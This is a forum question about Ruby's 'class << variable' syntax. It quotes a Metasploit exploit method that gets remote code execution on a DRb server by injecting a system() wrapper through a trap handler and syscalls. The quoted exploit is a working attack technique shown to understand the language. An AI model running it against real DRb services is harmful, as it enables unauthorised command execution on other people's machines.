Understanding ruby syntax "class << variable"

I've been looking at an old bug in DRb using metasploit, which uses the method:

  def exploit
    serveruri = datastore['URI']
    DRb.start_service
    p = DRbObject.new_with_uri(serveruri)
    class << p
      undef :send
    end

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
    # syscall to decide whether it's 64 or 32 bit:
    # it's getpid on 32bit which will succeed, and writev on 64bit
    # which will fail due to missing args
    begin
      pid = p.send(:syscall, 20)
      p.send(:syscall, 37, pid, 23)
    rescue Errno::EBADF
      # 64 bit system
      pid = p.send(:syscall, 39)
      p.send(:syscall, 62, pid, 23)
    end
    p.send(:my_eval, payload.encoded)
  end

I'm not a ruby programmer, but I have a general sense of what's going on besides few lines.
Can anyone explain what's happening in lines 5-9? (starts at "class << ...")